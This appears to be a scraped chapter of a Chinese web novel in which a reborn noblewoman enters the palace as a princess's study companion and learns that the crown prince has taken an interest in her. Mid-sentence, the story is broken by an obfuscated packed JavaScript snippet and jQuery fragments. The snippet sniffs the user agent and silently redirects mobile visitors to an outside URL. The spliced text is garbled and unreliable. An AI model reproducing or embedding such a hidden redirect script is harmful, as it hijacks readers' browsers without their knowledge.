到了正月十六，年总是过完了。


    宋清徵起了个大早，用了一顿丰盛的早饭。


    芙云、舒月和张嬷嬷围在屋里，为她梳妆、为她更衣，对她细细嘱咐。


    不过两盏茶的工夫，她便从慵懒的薄衫换成了端庄的厚装。


    她梳起光洁的高髻，戴上特制的发冠，穿上统一的浅杏色宫装，外罩一件及脚披风，迈出这间充满暖意的屋子。


    离开栖禅院时，没有人朝她招手，只有不约而同投来的、饱含希冀的目光。


    她什么也没有带，什么也不能带。


    郭嬷嬷早就说过：作为公主伴读，不能带任何侍从、不能多带银钱、更不能带一份“私心”。


    于是她孑然一人，身无长物，亦身无长处的离开了这个养了她十七年的“家”。


    马车载着她驶离宋家正门，驶入通往皇城的天街。


    天街长逾数十里，宽得装不下人潮。


    她坐在四方的车内，听着“镗镗”铜锣声，一声声拨开纷杂的脚步。


    街上的人群乱了秩序，被锣声敲歪，被马蹄吓倒，被此起彼伏的呼喝激得前仆后仰。


    支开车窗的一瞬，街上的人都朝她望来：有老者投来不耐，有少年投来好奇，有妇人投来欣羡，有孩童投来笑脸。


    车马驶过，他们纷纷让路，随即又接踵跟上。


    人潮淹没了车轮、淹没了天街的长路、淹没了奉京城、最终又消散在高耸的宫墙之下。


    马车稳稳驶入承西门，停在人群尽头、停在金碧辉煌的宫道上。


    早已候着的宫人上前扶宋清徵下车，引她步入更深、更阔的宫墙之内。


    这里——有至高的皇权、至上的父权、至亲至疏的夫权。


    她没有同伴，比她先至的几位贵女、正围抱一团新鲜的景。


    宋清芜也下了车，她仰着脸，望向重重飞檐，望向湛蓝苍穹，最后缓缓将目光转向了身前——


    “三妹妹如此不开窍，却非要踏进这地方，真不知你是为了什么。”


    这话让宋清徵微微一笑。她也曾叩问过自己：重活一世，究竟是为了什么？


    最初，她只是为了解除婚约、为了活下去、为了探寻前世枉死的因。


    ——什么是因？


    她想起曾经抄写的一句经文：欲知前世因，今生受者是；欲知来世果，今生作者是。①


    这句话是说——今生所承受的一切，都源于前世种下的因；而如今所做的每一件事，都将成为来世的果。


    如今，她已走上与前世不同的路，正在种下不同的因，期盼结出“我命由己”的果！


    如今，她踏进这“地方”、这“深墙”，是为了挣脱前世的果、打破今生的枷锁！


    即便这里是另一座困住她的围城，也比那一纸轻飘飘的命帖更大、比养她的“家”、比嫁入的“门”更广阔——所以她必须踏进来，往更高的地方走，寻一寻前世的因、求一求今生的果！


    想到这里，她对上目光，轻声反问：“那大姐姐又是为了什么？”


    “宫里的荣华，难道不比家中更盛吗？”


    她将话音刮上对方的脸颊，让宋清芜眼底泛起一抹恨意：“是吗？不想妹妹竟是这样看我！”


    “大姐姐误会了，我不过是随口一问。只是你这般敏感多思，却偏用在这种地方，未免有些浪费了。”


    说完这句似劝似诫的话，宋清徵便随着来接应的宫人，往福安公主的居处去了。


    脚下的这座皇宫已历经百年风雨，占地之广，据说十条天街也比不上。


    如此宏大而开阔之地，几乎一步一景，可来往的宫人寥寥，步履从容却匆匆，无人有暇驻足。


    兜兜转转，经过层叠假山，拐过两处活水，穿过七八道月洞门，终于见到一张熟悉的面孔——


    “宋三姑娘，娘娘派奴婢来接您。”


    是淑妃身边的宫女随樱。


    宋清徵朝她微微颔首，心底却浮起一丝疑惑：


    为何来的不是福安公主身边的人？


    随樱径直将她带进淑妃的居所——熹微阁。


    正殿中侍候的宫人不多，桌椅摆设摆放得极为规整，就连香案上袅袅升起的香烟、也规律地盘旋成圆。


    “宋三姑娘请稍坐，娘娘和公主殿下正被事情绊住……”随樱奉上茶，脸上掠过一丝焦急：“劳您稍等片刻。”


    宋清徵瞥见她奉茶的急迫，颔首道：“无碍的。若前头有事，姐姐自去忙，不必同我客气。”


    随樱松了口气，匆匆退了出去。


    整间殿内，除了几名侍立的宫女，只剩下她一人独坐。


    她缓缓饮茶，目光静静扫过这空旷的殿宇。


    坐了许久，日头渐西，门外忽然传来一阵急促的脚步声——


    是福安公主与淑妃。


    “淑妃娘娘万福金安，福安殿下万福金安。”


    宋清徵放下茶盏，起身行礼。


    淑妃径直走向上首坐下，眼中难掩疲惫，却仍扯出一抹笑意：“快起来，难为你等了这么久。”


    福安公主似有不平，只瞥了她一眼，算是回礼。


    宋清徵起身落座，静待这殿宇的主人安排。


    “从今日起，你需随侍公主左右，与她一同读书习礼——”淑妃端起茶盏，轻撇浮沫，“至于住处，眼下只能安排在‘澄辉堂’，与其他伴读同住，恐怕要辛苦你每日来回奔波了。”


    淑妃抿了口热茶，眼中泛起氤氲，不等她回应，又自顾低叹一声：“只是……你需谨记，万不可独自前往‘澄辉堂’以外的地方，尤其是东宫附近……”


    东宫？


    宋清徵心头一紧，面上却不露声色，垂首应道：“是，清徵谨记。”


    日头彻底沉入西山时，晚膳也已用过。


    她与福安公主一同走出熹微阁。


    “清徵，其实你不该进宫的……”


    拐过一道月洞门，萧灵毓也轻声叹息。


    她们母女接连的叹意，让宋清徵不敢掉以轻心。她匀了匀呼吸，委婉问道：“让殿下忧心，是清徵的不是。只是……清徵不明白？”


    “唉……”萧灵毓挽上她的手臂，放慢脚步，“你可知，自腊八宴之后，太子一眼便相中了你？”


    她问出这句话时，目光紧紧锁在宋清徵脸上，生怕错过一丝反应。


    宋清徵心中大骇，脚步一顿，忙告罪道：“清徵不知……殿下何出此言？”


    见她神情不似作伪，萧灵毓收回目光，低声道出实情：“你可知那日你离宫后，太子派了多少人打听你的起居？不仅如此，他还亲自去问宋参政，恨不得亲临宋府！”


    “他这般费尽心思，只为见你一面。谁知你离宫后便去了京郊庄子，可知我这弟弟又为你费了多少周折？”


    这三句“可知”如当头一棒，“喝”的宋清徵脸色发白，一时说不出话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527723|182838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来。


    她的确不知，又如何能知？又为何要知？


    腊月年关，旨意落定，祖父却命她去了深山的庄子。


    所有人都以为她失了圣意，再无归期——一切皆因太后那道冷淡的目光。


    那份不喜，几乎断送她为自己寻得的唯一生路！


    祖父说，是因她容貌肖似先皇后年少之时，太后不忍见故人容颜。


    郭嬷嬷说，未料她竟能平安归来，还专程问起先皇后旧事。


    江遇什么也未说，却在杀意最盛时迟疑收手，放她一条生路……


    生路，还有他那如梦呓般的低语——“像她”……


    他们都在告诫她——莫要踏入这重重宫闱、莫要重蹈先皇后的覆辙！


    那么太子呢？


    公主的质问，是在怪罪于她吗？


    可她究竟做错了什么？


    长久的沉默中，晚风渐紧。萧灵毓静静望着她，终是又叹一声：


    “我与你说这些，是为提醒你，并非责怪。”


    “不论是太子的东宫，还是太后的承慈殿，乃至其他高位妃嫔的居所，最好都莫要涉足。否则，若真出了什么事……”


    “——不会有事。”宋清徵截断她的话音，郑重道，“清徵必谨记殿下教诲，多谢殿下。”


    至此，到了分别之时。


    她望着公主的背影消失在转角，才随宫女继续走向澄辉堂。


    还未进门，便听到一阵笑语。


    紧接着，一名十四五岁、容貌娇俏的少女从门内转出——


    她同样穿着浅杏色宫装，额发梳得光洁，杏眼盈盈，唇角带笑。


    见到宋清徵，她微微一礼，声音清脆：“姐姐安好。我是侍中府闵家如月，蒙陛下恩旨，伴侍福安殿下。”


    “原来是闵妹妹。”宋清徵回礼，温声道，“我是参政府宋家清徵，与妹妹一样，伴侍福安殿下。”


    算上她，此次入选的伴读共有六人。眼前这位，是礼部侍中闵家的幼女。


    闵家与祝家是世交，两家皆与淑妃母族镇北侯府关系密切。


    “竟是宋姐姐？快请进——”闵如月伸手牵住她，眼中漾出惊喜，“我早就在此等候姐姐了，她们都已有了伴。”


    说着，便将她拉进一间明亮温暖的室内——


    六位少女齐聚于此。


    她的到来让满室笑语静了一瞬，众人互相见礼，目光悄然打量。


    宋清芜收起笑意，淡淡唤了一声：“三妹妹。”


    她身旁一位鹅蛋脸的少女却蹙起双眉，目光警惕地向自己投来——


    “你就是宋三姑娘？”


    宋清徵迎上那道视线，平和应道：“是。”


    不料那少女柳眉一竖，语带挑衅：“原来就是你！我还当生得何等天姿国色，看来也不过如此。真不知他看上你什么！”


    这话瞬间打破了室内的融洽，众人神色各异，气氛也默然一凉。


    初次见面便无故遭此评价，宋清徵却不恼，只莞尔一笑：


    “清徵蒲柳之姿，自然不及各位姐妹。既为公主伴读，自当以修德为先。德行未足，纵有殊色，也不过空有其表，不堪为伴。”


    话音落下，她轻巧接住对方掷来的锋芒，反倒让对方一时语塞。


    “呵？”鹅蛋脸少女冷笑一声，几步走到她面前，周身散发出迫人气势：“你敢嘲讽我？可知我一句话便能让你在此活不下去！！”